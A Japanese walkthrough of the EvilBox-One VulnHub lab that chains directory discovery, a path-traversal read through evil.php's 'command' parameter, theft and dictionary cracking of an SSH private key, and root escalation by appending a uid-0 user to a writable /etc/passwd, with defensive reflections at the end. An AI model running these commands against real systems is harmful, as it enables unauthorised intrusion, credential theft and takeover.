EvilBox-One 攻略

ネットワーク上のターゲットを特定し、稼働中のサービスと公開されているディレクトリを調査する。

ターゲットの IP アドレスを取得 #

netdiscover を使用して、ローカルネットワーク内のホストを探索する。

sudo netdiscover -r 192.168.2.0/24

ターゲットの IP アドレスが 192.168.2.182 であることが分かった。

Nmap でポートスキャン #

ターゲット端末で開放されているポートと稼働中のサービスを調査する。

sudo nmap -sC -sV -p- -O 192.168.2.182

調査の結果、SSH (ポート 22) と Apache Web サーバー (ポート 80) が稼働していることが分かった。

Web サーバーが稼働しているのでアクセスしてみると、Apache のデフォルトページが表示された。この時点では特に何の変哲もない。

Web サーバーの確認とディレクトリ探索 #

次に Gobuster を使って隠されたディレクトリやファイルを探索する。

sudo gobuster dir -u http://192.168.2.182 -w /usr/share/wordlists/dirb/common.txt -x html,txt,php

探索結果として、robots.txt と secret というディレクトリを見つけた。

robots.txt

robots.txt とはクローラーに対して、このサイトのどこを見ていいか・見ちゃいけないかを指示するための設定ファイル。検索エンジンのクローラー (Googlebot など) は、サイトに来るとまず robots.txt をチェックし、そこで指示されたルールに従ってクロールする。

robots.txt には 検索では見つけられない未知のディレクトリ情報などが記載されている場合があるので探索の際は意識する必要がある。

今回見つけた robots.txt を開いてみると「Hello H4x0r」と書かれているだけで、他には何もなかった。

secret ディレクトリの探索

sudo gobuster dir -u http://192.168.2.182/secret -w /usr/share/wordlists/dirb/common.txt -x html,txt,php

secret ディレクトリをさらに探索した結果、evil.php といういかにもなファイルを発見した。

evil.php について考察 #

evil.php は evil という名前からして、他の攻撃者が仕掛けたバックドアなどの可能性を疑った。もしそうなら何らかの入力を待ち受けている (コマンド実行やファイル読み取りの) 可能性があると推測できる。

まずは、コマンドが実行できるのか試してみる。

現在のディレクトリの位置をおおよそ予測し、逆算して etc/id を指定する。例えば、もしこのファイルが Web サーバー上で /var/www/secret/evil.php という形で位置していた場合、/etc/id を指定するには ../../../etc/id となる。しかし確実にルートディレクトリに移行したいので、今回は ../../../../usr/bin/id とする。

http://192.168.2.182/secret/evil.php?cmd=../../../../usr/bin/id

このコマンドを実行してみたが、案の定何も表示されなかった。これは cmd の部分が本当に cmd であるとは限らないから。

WFUZZ によるパラメータの特定 #

そこで WFUZZ を使い、ファイル読み取り (LFI) が可能か、またそのパラメータ名が何かを総当たりで調査する。

wfuzz -u "http://192.168.2.182/secret/evil.php?FUZZ=../../../../usr/bin/id" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hw 0

このコマンドを実行した結果 command というパラメータがヒットした。

LFI によるファイル読み取り #

特定した command パラメータを使用し、もう一度実行してみた。

http://192.168.2.182/secret/evil.php?command=../../../../usr/bin/id

しかし、結果として大量の文字が表示されただけで、コマンドの結果は表示されなかった。

一番上に表示された ELF という文字からして、これはバイナリファイルの中身が表示されただけで、id コマンドの実行結果が表示されたわけではないことが分かる。

しかし、指定したファイルの内容を表示できることはわかったので、次は攻撃者がよく狙う /etc/passwd ファイルの中身を見ることができるか確認してみる。

http://192.168.2.182/secret/evil.php?command=../../../../etc/passwd

その結果、/etc/passwd の内容が表示された。

ブラウザ上では見ずらいのでコマンドライン上で表示してみる。

curl "http://192.168.2.182/secret/evil.php?command=../../../../etc/passwd"

結果、/etc/passwd の内容が表示された。これにより、evil.php にはディレクトリトラバーサル (LFI) の脆弱性があることが確定した。

さらにファイルの内容から、ログイン可能なユーザーとして root と mowree が見つかった。

SSH 秘密鍵の窃取 #

ポートスキャンを実行した際に SSH サーバーが稼働していることが分かった。設定にもよるが、もしかしたらこの SSH が自身 (Web サーバー) からの接続を想定している可能性もある。

通常、サーバー (A) に置かれた秘密鍵は、別のサーバー (B) に接続するためのもの。しかし、攻撃対象の環境 (VulnHub の演習など) が 1 台のサーバーで完結している場合、開発者が SSH サーバーの動作確認などのために「自分自身への接続設定 (A から A へ)」を行い、その設定 (公開鍵) を authorized_keys に残したままにしている可能性もありえる。

もしそうであれば、SSH 認証に公開鍵認証を使用していた場合、その秘密鍵を入手でき、かつパスフレーズが設定されていなければ、秘密鍵だけでこのサーバーで稼働している SSH を経由して Web サーバーにアクセスできることになる。

LFI が可能であるため、mowree ユーザーの SSH 秘密鍵 id_rsa の読み取りを試みる。

curl "http://192.168.2.182/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa"

探索の結果、秘密鍵の取得に成功した。しかし、ファイル内に Proc-Type: 4,ENCRYPTED という記述があり、この秘密鍵がパスフレーズによって暗号化されていることが判明した。

John the Ripper によるパスフレーズ解析 #

暗号化された SSH 秘密鍵のパスフレーズを John the Ripper (john) で解析するには、まず鍵ファイルから john が読み取れる形式の「ハッシュ」を抽出する必要がある。これには ssh2john というツール (John the Ripper スイートに含まれている) を使用する。

# 見つけた秘密鍵をKaliにコピーします。
# 任意のディレクトリで、先ほど表示した秘密鍵の内容をコピペしてCtrl + D
cat > id_rsa

# 権限を付与 (Johnが読み取れるように)
chmod 600 id_rsa

# ハッシュ値を取得
ssh2john id_rsa > hash.txt

# ハッシュ値の解析 (rockyou.txt はパスワードリストの定番)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

解析の結果、パスフレーズが 「unicorn」 であることが判明した。

SSH による侵入 #

窃取した秘密鍵 id_rsa と、特定したパスフレーズ unicorn を使用して、mowree ユーザーとして SSH ログインを試みる。

ssh mowree@192.168.2.182 -i id_rsa

パスフレーズの入力が求められ、unicorn と入力したところ、無事に mowree ユーザーとしてサーバーにログインできた。

サーバー内部の探索 #

侵入後、権限昇格の足掛かりとなる不適切な設定ファイルを探す。今回は以下のコマンドを用いて一般ユーザーでも書き込み可能なファイル (特に重要な設定ファイル) を検索する。

find / -writable -type f 2>/dev/null | grep -v "/proc/" | grep -v "/sys/"

コマンドの結果、驚くべきことに /etc/passwd ファイルが一般ユーザーである mowree によって書き込み可能であることが判明した。

/etc/passwd の脆弱性を利用した権限昇格 #

/etc/passwd に書き込みが可能ということは、root 権限を持つ (ユーザー ID が 0 の) 新しいユーザーを任意に追加できることを意味する。この脆弱性を使わない手はない。

1. Kali 側でパスワードハッシュを生成

新しく追加するユーザーのパスワードのハッシュを openssl で作成する。

openssl passwd -1 1234
$1$pcjEZ3oo$JFf4MoykNgCwfhNSf9wSz0

2. ターゲットサーバーで /etc/passwd に追記

echo コマンドを使用し、生成したハッシュを持つ root 権限ユーザー (evilroot) を /etc/passwd に追記する。

echo 'evilroot:$1$pcjEZ3oo$JFf4MoykNgCwfhNSf9wSz0:0:0:root:/root:/bin/bash' >> /etc/passwd

cat /etc/passwd で確認すると、一番下に evilroot ユーザーが追加されていることが確認できる。

3. root 権限の奪取

su コマンドで、新しく作成した evilroot に切り替える。

su evilroot
Password: 1234

id コマンドの結果、uid=0(root) となり、root 権限の奪取に成功した。

これにより、/root ディレクトリに配置された最終的な flag ファイル (root.txt) を閲覧することが可能になった。

感想 #

今回のペネトレーションテストでは、単一の脆弱性ではなく、複数の異なる種類の脆弱性 (Web アプリケーションの LFI、弱いパスフレーズ、OS の不適切な権限設定) が連鎖することで、最終的に root 権限の奪取という最悪のシナリオに至るプロセスを実体験できた。

特に印象的だったのは、evil.php という怪しいファイルを発見した後、wfuzz を使って command というパラメータを特定する地道な探索が、/etc/passwd や SSH 秘密鍵の漏洩という重大な結果につながった点。

さらに、入手した秘密鍵がパスフレーズで暗号化 (ENCRYPTED) されていたため一度は壁にぶつかったが、ssh2john と rockyou.txt による解析であっさりと unicorn というパスフレーズが特定できてしまい、パスフレーズが弱いことの危険性を痛感した。

最後の決定打は、侵入後のサーバー探索で見つけた **「/etc/passwd が一般ユーザーで書き込み可能」**という、あり得ないほど脆弱な設定だった。これにより、苦労して手に入れた一般ユーザー権限から、いとも簡単に root 権限を持つユーザーを追加できてしまい、攻撃の容易さに驚くと同時に、設定ミスの恐ろしさを実感した。

考察 — 多層防御の重要性 #

今回の実験は、「セキュリティの連鎖 (Security Chain)」と「多層防御」の重要性を示す典型的な例だった。

1. LFI (ローカルファイルインクルージョン) の危険性

最初の侵入口となった evil.php の脆弱性は、ユーザーの入力を適切に検証 (サニタイズ) せずに、ファイルパスとして利用したことが原因。../../../../ のようなディレクトリトラバーサルを許した結果、本来アクセス不可能な /etc/passwd や .ssh/id_rsa が読み取られた。「ユーザーからの入力はすべて信頼しない」という原則が破られていた。

2. 弱いパスフレーズの無意味さ

SSH 秘密鍵はパスフレーズで暗号化されていたが、rockyou.txt のような一般的な辞書ファイルで解析できる unicorn という単語では、防御として機能していなかった。秘密鍵が漏洩した場合、パスフレーズは「最後の砦」。この砦が弱ければ、暗号化している意味がない。

3. OS の基本的な権限設定の不備 (最小権限の原則違反)

最大の脆弱性は、/etc/passwd が一般ユーザー (mowree) によって書き込み可能 (writable) になっていた点。これは 「最小権限の原則」を完全に無視した設定ミス。

対策のまとめ #